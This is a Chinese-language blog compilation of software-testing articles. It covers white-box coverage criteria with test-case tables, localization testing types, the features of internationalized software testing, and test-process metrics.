    六种覆盖方法

      首先为了下文的举例描述方便,这里先给出一张程序流程图。(本文以1995年软件设计师考试的一道考试题目为例,图中红色字母代表程序执行路径)。

      1、语句覆盖

      1)主要特点:语句覆盖是最起码的结构覆盖要求,语句覆盖要求设计足够多的测试用例,使得程序中每条语句至少被执行一次。

      2)用例设计:(如果此时将A路径上的语句1—〉T去掉,那么用例如下)

       X  Y  路径
     1  50  50  OBDE
     2  90  70  OBCE

      3)优点:可以很直观地从源代码得到测试用例,无须细分每条判定表达式。

      4)缺点:由于这种测试方法仅仅针对程序逻辑中显式存在的语句,但对于隐藏的条件和可能到达的隐式逻辑分支,是无法测试的。在本例中去掉了语句1—〉T去掉,那么就少了一条测试路径。在if结构中若源代码没有给出else后面的执行分支,那么语句覆盖测试就不会考虑这种情况。但是我们不能排除这种以外的分支不会被执行,而往往这种错误会经常出现。再如,在Do-While结构中,语句覆盖执行其中某一个条件分支。那么显然,语句覆盖对于多分支的逻辑运算是无法全面反映的,它只在乎运行一次,而不考虑其他情况。

      2、判定覆盖

      1)主要特点:判定覆盖又称为分支覆盖,它要求设计足够多的测试用例,使得程序中每个判定至少有一次为真值,有一次为假值,即:程序中的每个分支至少执行一次。每个判断的取真、取假至少执行一次。

      2)用例设计:

       X  Y  路径
     1  90  90  OAE
     2  50  50  OBDE
     3  90  70  OBCE

      3)优点:判定覆盖比语句覆盖要多几乎一倍的测试路径,当然也就具有比语句覆盖更强的测试能力。同样判定覆盖也具有和语句覆盖一样的简单性,无须细分每个判定就可以得到测试用例。

      4)缺点:往往大部分的判定语句是由多个逻辑条件组合而成(如,判定语句中包含AND、OR、CASE),若仅仅判断其整个最终结果,而忽略每个条件的取值情况,必然会遗漏部分测试路径。

      3、条件覆盖

      1)主要特点:条件覆盖要求设计足够多的测试用例,使得判定中的每个条件获得各种可能的结果,即每个条件至少有一次为真值,有一次为假值。

      2)用例设计:

       X  Y  路径
     1  90  70 OBC
     2 40   OBD

      3)优点:显然条件覆盖比判定覆盖,增加了对符合判定情况的测试,增加了测试路径。

      4)缺点:要达到条件覆盖,需要足够多的测试用例,但条件覆盖并不能保证判定覆盖。条件覆盖只能保证每个条件至少有一次为真,而不考虑所有的判定结果。

      4、判定/条件覆盖

      1)主要特点:设计足够多的测试用例,使得判定中每个条件的所有可能结果至少出现一次,每个判定本身所有可能结果也至少出现一次。

      2)用例设计:

       X  Y  路径
     1  90  90  OAE
     2  50  50  OBDE
     3  90  70  OBCE
     4  70  90  OBCE

      3)优点:判定/条件覆盖满足判定覆盖准则和条件覆盖准则,弥补了二者的不足。

      4)缺点:判定/条件覆盖准则的缺点是未考虑条件的组合情况。

      5、组合覆盖

      1)主要特点:要求设计足够多的测试用例,使得每个判定中条件结果的所有可能组合至少出现一次。

      2)用例设计:

       X  Y  路径
     1  90  90  OAE
     2  90  70  OBCE
     3  90  30  OBDE
     4  70  90  OBCE
     5  30  90  OBDE
     6  70  70  OBDE
     7  50  50  OBDE

      3)优点:多重条件覆盖准则满足判定覆盖、条件覆盖和判定/条件覆盖准则。更改的判定/条件覆盖要求设计足够多的测试用例,使得判定中每个条件的所有可能结果至少出现一次,每个判定本身的所有可能结果也至少出现一次。并且每个条件都显示能单独影响判定结果。

      4)缺点:线性地增加了测试用例的数量。

      6、路径覆盖

      1)主要特点:设计足够的测试用例,覆盖程序中所有可能的路径。

      2)用例设计:

       X  Y  路径
     1  90  90  OAE
     2  50  50  OBDE
     3  90  70  OBCE
     4  70  90  OBCE

      3)优点:这种测试方法可以对程序进行彻底的测试,比前面五种的覆盖面都广。

      4)缺点:由于路径覆盖需要对所有可能的路径进行测试(包括循环、条件组合、分支选择等),那么需要设计大量、复杂的测试用例,使得工作量呈指数级增长。而在有些情况下,一些执行路径是不可能被执行的,如:
      If  (!A)B++;
      If  (!A)D--;

      这两个语句实际只包括了2条执行路径,即A为真或假时候对B和D的处理,真或假不可能都存在,而路径覆盖测试则认为是包含了真与假的4条执行路径。这样不仅降低了测试效率,而且大量的测试结果的累积,也为排错带来麻烦。

    总结

      白盒测试是一种被广泛使用的逻辑测试方法,是由程序内部逻辑驱动的一种单元测试方法。只有对程序内部十分了解才能进行适度有效的白盒测试。但是贯穿在程序内部的逻辑存在着不确定性和无穷性,尤其对于大规模复杂软件。因此我们不能穷举所有的逻辑路径,即使穷举也未必会带来好运(穷举不能查出程序逻辑规则错误,不能查出数据相关错误,不能查出程序遗漏的路径)。

      那么正确使用白盒测试,就要先从代码分析入手,根据不同的代码逻辑规则、语句执行情况,选用适合的覆盖方法。任何一个高效的测试用例,都是针对具体测试场景的。逻辑测试不是片面的测试正确的结果或是测试错误的结果,而是尽可能全面地覆盖每一个逻辑路径。

  • 软件本地化测试类型解析与测试要领

    2007-07-30 15:26:03

    软件本地化测试类型解析与测试要领

    作者: 崔启亮  来源:本地化世界网  http://www.csai.cn  2005年10月31日

      软件本地化测试是在本地化的操作系统上对本地化的软件版本进行的测试。根据软件本地化项目的规模、测试阶段以及测试方法,本地化测试分为多种类型,每种类型都对软件本地化的质量进行检测和保证。为了提高测试的质量,保证测试的效率,不同类型的本地化测试需要使用不同的方法,掌握必要的测试技巧。本文主要选取本地化测试中具有代表性的测试类型进行分析,结合软件本地化项目的测试经验对其测试要领进行剖析。

      导航测试

      导航测试(Pilot Testing)是为了降低软件本地化的风险而进行的一种本地化测试。大型的全球化软件在完成国际化设计后,通常选择少量的典型语言进行软件的本地化,以此测试软件的可本地化能力,降低多种语言同时本地化的风险。

      导航测试尤其是用于数十种语言本地化的新开发的软件,导航测试版本的语言主要由语言市场的重要性和规模确定,也要考虑语言编码等的代表性。例如,德语市场是欧洲的重要市场,通常作为导航测试的首要单字节字符集语言。日语是亚洲重要的市场,可以作为双字节字符集语言代表。随着中国国内软件市场规模的增加,国际软件开发商逐渐对简体中文本地化提高重视程度,简体中文有望更多成为导航测试的首选语言。

      导航测试是软件本地化项目早期进行的探索性测试,需要在本地化操作系统上进行,测试的重点是软件的国际化能力和可本地化能力,包括与区域相关的特性的处理能力,也包括测试是否可以容易地进行本地化,减少硬编码等缺陷。由于导航测试在整个软件本地化过程中意义重大,而且导航测试的持续时间通常较短,另外由于是新开发的软件的本地化测试,测试人员对软件的功能和使用操作了解不多,因此,本地化公司通常需要在正是测试之前进行搜集和学习软件的相关资料,做好测试环境和人员的配备,配置具有丰富测试经验的工程师执行测试。

      可接受性测试

      本地化软件的可接受性测试(Build Acceptable Testing)也称作冒烟测试(Smoke Testing),是指对编译的软件本地化版本的主要特征进行基本测试,从而确定版本是否满足详细测试的条件。理论上,每个编译的本地化新版本在进行详细测试之前,都需要进行可接受性测试,以便早期发现软件版本的可测试性,避免不必要的时间浪费。

      注意,软件本地化版本的可接受性测试与软件公司为特定客户定制开发的原始语言软件在交付客户前的验收测试完全不同,验收测试主要确定软件的功能和性能是否达到了客户的需求,如果一切顺利,只进行一次验收测试就可以结束。

      本地化软件在编译后,编译工程师通常需要执行版本健全性检查(Build Sanity Check),确定本地化版本的内容和主要功能可以用于测试。而编译的本地化版本是否真的满足测试条件则还要通过独立的测试人员进行可接受性测试,它要求测试人员在较短的时间内完成,确定本地化的软件版本是否满足全面测试的要求,是否正确包含了应该本地化的部分。如果版本通过了可接受性测试,则可以进入软件全面详细测试阶段,反之,则需要重新编译本地化软件版本,直到通过可接受性测试。

      在进行本地化软件版本的可接受性测试时,需要配置正确的测试环境(软件和硬件),在本地化的操作系统上安装软件,确定是否可以正确安装。软件运行软件,确定软件包含了应该本地化的全部内容,并且主要功能正确。然后,卸载软件,保证软件可以彻底卸载。软件的完整性是需要注意的一个方面,通过使用文件和文件夹的比较工具软件,对比安装后的本地化软件和英文软件内容的异同,确定本地化的完整性。

      语言质量测试

      语言质量测试是软件本地化测试的重要组成部分,贯穿于本地化项目的各个阶段。语言质量测试的主要内容是软件界面和联机帮助等文档的翻译质量,包括正确性、完整性、专业性和一致性。

      为了保证语言测试的质量,应该安排本地化语言作为母语的软件测试工程师进行测试,同时请本地化翻译工程师提供必要的帮助。在测试之前,必须阅读和熟悉软件开发商提供的软件术语表(Glossary),了解软件翻译风格(Translation Style)的语言表达要求。

      由于软件的用户界面总是首先进行本地化,因此,本地化测试的初期的软件版本的语言质量测试主要以用户界面的语言质量为主,重点测试是否存在未翻译的内容,翻译的内容是否正确,是否符合软件术语表和翻译风格要求,是否符合母语表达方式,是否符合专业和行业的习惯用法。

      本地化项目后期要对联机帮助和相关文档(各种用户使用手册等)进行本地化,这个阶段的语言质量测试,除了对翻译的表达正确性和专业性进行测试之外,还有注意联机帮助文件和软件用户界面的一致性。如果对于某些软件专业术语的翻译存在疑问,需要报告一个翻译问题,请软件开发商审阅,如果确认是翻译错误,需要修改术语表和软件的翻译。

      关于本地化软件的语言质量测试,一个值得注意的问题是“过翻译”,就是软件中不应该翻译的内容(例如软件的名称等)如果进行了翻译,应该报告软件“过翻译”错误。

      用户界面测试

      本地化软件的用户界面测试(UI Testing),也称作外观测试(Cosmetic Testing)主要对软件的界面文字和控件布局(大小和位置)进行测试。用户界面至少包括软件的安装和卸载界面、软件的运行界面和软件的联机帮助界面。软件界面的主要组成元素包括窗口、对话框、菜单、工具栏、状态栏、屏幕提示文字等内容。

      用户界面的布局测试是本地化界面测试的重要内容,由于本地化的文字通常比原始开发语言长度增长,所以一类常见的本地化错误是软件界面上的文字显示不完整,例如,按钮文字只显示一部分。另一类常见的界面错误是对话框中的控件位置排列不整齐,大小不一致。

      相对于其他类型的本地化测试,用户界面测试可能是最简单的测试类型,软件测试工程师不需要过多的语言翻译知识和测试工具,但是由于软件的界面众多,而且某些对话框可能隐藏的比较深入,因此,软件测试工程师必须尽可能地熟悉被测试软件的使用方法,这样才能找出那些较为隐蔽的界面错误。另外,某个界面错误可能是一类错误,需要报告一个综合的错误,例如,软件安装界面的“上一步”或“下一步”按钮显示不完整,则可能所有安装对话框的同类按钮都存在相同的错误。

      功能测试

      原始语言开发的软件的功能测试主要测试软件的各项功能是否实现以及是否正确,而本地化软件的功能测试主要测试软件经过本地化后,软件的功能是否与源软件一致,是否存在因软件本地化而产生的功能错误,例如,某些功能失效或功能错误。

      本地化软件的功能测试相对于其他测试类型具有较大难度,由于大型软件的功能众多,而且有些功能不经常使用,可能需要多步组合操作才能完成,因此本地化软件的功能测试需要测试工程师熟悉软件的使用操作,对于容易产生本地化错误之处能够预测,以便减少软件测试的工作量,这就要求测试工程师具有丰富的本地化测试经验。

      除了某些菜单和按钮的本地化功能失效错误外,本地化软件的功能错误还包括软件的热键和快捷键错误,例如,菜单和按钮的热键与源软件不一致或者丢失热键。另外一类是排序错误,例如,排序的结果不符合本地化语言的习惯。

      发现本地化功能错误后,需要在源软件上进行相同的测试,如果源软件也存在相同的错误,则不属于本地化功能错误,而属于源软件的设计错误,需要报告源软件的功能错误。另外,如果同时进行多种本地化语言(例如,简体中文、繁体中文、日文和韩文)的测试,在一种语言上的功能错误也需要在其他语言版本上进行相同的测试,以确定该错误是单一语言特有的,还是许多本地化版本共有的错误。

      软件的测试类型数量众多,可谓五花八门,而软件本地化测试又具有其自身的特点,除以上常见的本地化测试类型外,还包括联机帮助测试、本地化能力测试等测试。不论何种类型的本地化测试,其最终测试目标都是尽早找出软件本地化错误,保证本地化软件与原始开发语言软件具有相同的功能。通过正确配置本地化测试环境,合理组织本地化测试人员,采用正确的本地化流程和测试工具,完善软件缺陷的报告和跟踪处理,有助于保证软件本地化测试的有效实现。

  • 国际化软件测试的特征分析

    2007-07-30 15:14:48

    国际化软件测试的特征分析

    归类: 软件测试 — gotoSQA admin @ 3:24 pm

    经济的全球化促进了软件产业的国际化,软件国际化生产和全球服务成为更多国际软件公司的发展策略。软件产品要获得更多的国际市场份额,必须进行软件国际化设计、开发、测试和服务。

    按照国际化要求生产的软件称为国际化软件,从实现技术和生产过程分析,国际化软件包括软件国际化和软件本地化两个相辅相成的环节。软件国际化保证软件具有“全球可用”的内在特征,而软件本地化可以满足目标市场的用户在语言、文化和功能的需要。

    国际化软件测试具有测试多方参与、跨国家 / 地区范围广、测试内容广泛、测试周期时效性强等特点。国际化软件测试的两个显著特征是缺陷跟踪工具驱动测试和项目里程碑驱动测试。

    国际化软件开发流程

    I18n process

    对于国际化软件而言,完整地开发周期将包括需求分析、国际化、本地化、发布和维护等过程。其中国际化包括设计、开发和测试等,在国际化的各个环节都要重视软件的本地化能力。

    国际化软件的开发流程包括开发国际化软件需要遵循软件工程的要求,分为需求分析、软件设计、软件编码、软件测试、质量保证、软件发布等过程。国际化软件的开发流程如下图所示:

    在需求分析阶段,既要考虑软件的功能需求,也要考虑软件的国际化需求。另外,为了缩短源语言开发的版本和本地化版本的发布时间间隔(甚至达到同步发布),国际化版本的开发应该与软件本地化过程同时进行。在测试方面,对国际化版本的国际化功能测试和对本地化版本的本地化测试尽可能同时进行,以便尽早发现和修改国际化设计错误。

    缺陷跟踪工具驱动的测试

    I18n tool

    国际化软件规模大、用户范围广、对质量的要求严格,所以软件测试过程中将发现和报告大量的软件缺陷。这些不同类型的软件缺陷分别由不同角色的项目成员负责处理,由于测试人员和开发人员可能分布在不同的国家和地区,因此,需要使用满足软件缺陷全球管理的软件缺陷跟踪( Defect Tracking System - DTS )系统。

    为了达到全球通用的目的,基于因特网的缺陷跟踪系统成为必选条件。借助全球的软件缺陷系统,软件项目团队的全体成员以软件缺陷跟踪系统为工作的参照物,如上图所示。测试人员向缺陷跟踪系统报告新 Bug ,在新版本上执行回归测试验证 Bug 是否正确修正;开发人员每天浏览属于自己需要处理的 Bug ,修正 Bug 后及时更新 Bug 的状态;项目经理根据缺陷跟踪系统的 Bug 分布信息,跟踪和控制软件开发过程;市场销售和技术支持人员根据缺陷跟踪系统的 Bug 状况,估计软件的发布期限。

    里程碑驱动的软件测试
    I18n milestones

    里程碑( Milestone )是项目实施过程的各个关键阶段,在国际化软件开发和测试项目中,里程碑表示软件开发和测试的标志性、阶段性临界点。软件开发过程有多个计划的里程碑,分别表示软件到各个阶段所具有的功能和完成的任务。

    从软件周期来讲,软件主要里程碑包括基本功能完成编码,软件完成 Alpha Build 和 Beta Build ,完成预发布 Build ( RC Build ),完成 RTM Build 。软件项目的里程碑示意图如右图所示。这些不同阶段的里程碑的测试内容不同,测试方法不同,每一个里程碑对应一个关键的软件项目阶段,时效性非常强,为了做到软件项目按照项目计划按时发布,要求软件测试人员做好准备,在软件测试计划和项目进度计划安排的时间,完成相应地测试任务。

    在软件编码完成后的里程碑应该完成基本功能测试(单元测试、集成测试),基本完成国际化测试,当软件完成本地化;在 Alpha 和 Beta 测试阶段开始本地化测试,结束国际化测试; RC Build 阶段完成本地化测试, RTM Build 阶段完成验收测试

  • 软件测试过程的度量

    2007-04-10 13:35:26

    软件测试过程的度量

    文章来源:卖烧烤的鱼博客 

    1)测试度量的作用(-)
       A:为制定测试计划时提供依据
        需要多长时间? 需要什么物质条件?  需要多少人,什么素质的人? 在规定的时间内能完成到什么程度?
        哪些模块及功能需要重点关注? 测试工作量占整个项目的比例? 测试结束后我们能达到什么样的目标 ?等等
    ( 这些数据是我们在项目启动过程中,制定测试计划,尤其在规划资源的过程中,一些必要的参考值。不同项目可能会有其特殊性,但从总体上看,他们还是有一些规律可寻的,过去的经验数据可以作为一个大概估算,如果项目经验丰富,那么可以从历史数据中找出和新项目 类似的情况,以能更为准确的完成计划。 )
      B: 提高测试流程可控性
        提高测试效率和质量
        提高测试人员的成就感

    2)在测试哪个过程做度量
    (产品早期的市场评估、测试策略分析、可测试性需求分析、测试工具分析、用例设计阶段、执行阶段和 FOA 阶段)
    我们需要在测试的几个关键阶段做度量,它们分别是:用例设计阶段、执行阶段和 FOA 阶段。测试用例设计阶段包括测试方案的最终确定、测试工具的设计、测试用例编写等,测试执行阶段很明显,即我们测试的各个过程,如集成测试、系统测试、性能测试、回归测试等,也包括开发人员完成的单元测试的度量工作。 FOA 阶段是检验测试质量的第一步,通过 FOA 我们可以获得很多为产品质量做贡献的度量,这也是体现测试价值的度量。看起来几乎包括了测试过程的全部。其实这里包括的只是测试的具体工作阶段。

    3)测试度量的内容
    两种度量类型:
        A: 项目度量:规模、测试工作量、测试进度、测试生产率
        B: 质量度量:缺陷率(阶段)、缺陷排除率、可靠性等
    四个基本度量项:规模、工作量、进度、缺陷

    4) 测试用例设计阶段的度量
       A:规模 :测试方案数量、测试用例数量、测试工具设计数量、测试用例/人月
        B: 工作量 :文档的草稿编写工作量、评审前阅读工作量、评审工作量 、修改工作量
       C: 进度 :每件具体工作的计划开始结束时间、实际开始结束时间、计划工时数、实际工时数、计划完成率
        D: 缺陷 :评审过程中出现的错误数量、缺陷数量,级别

    5)测试执行阶段的度量:
    ? 测试用例执行率       ? 测试用例通过率
    ? 测试用例问题发现率     ? BUG数量
    ? BUG级别统计         ? BUG分布统计(模块)
    ? BUG分布统计(阶段)     ? BUG密度
    ? BUG关闭率          ? 人均BUG发现效率
    ? 测试用例执行工作量项目   ? 回归测试执行工作量
    ? 发布文档数量        ? 发布文档缺陷数量、级别
    ? 现场发现的BUG数量      ? 回归测试现场BUG的工作量
    ? 版本发布过程中的验证周期  ? 版本发布过程中的验证工作量
    ? 测试用例覆盖率       ? 功能的用户关注度
    ? 需求变化程度  

Open Toolbar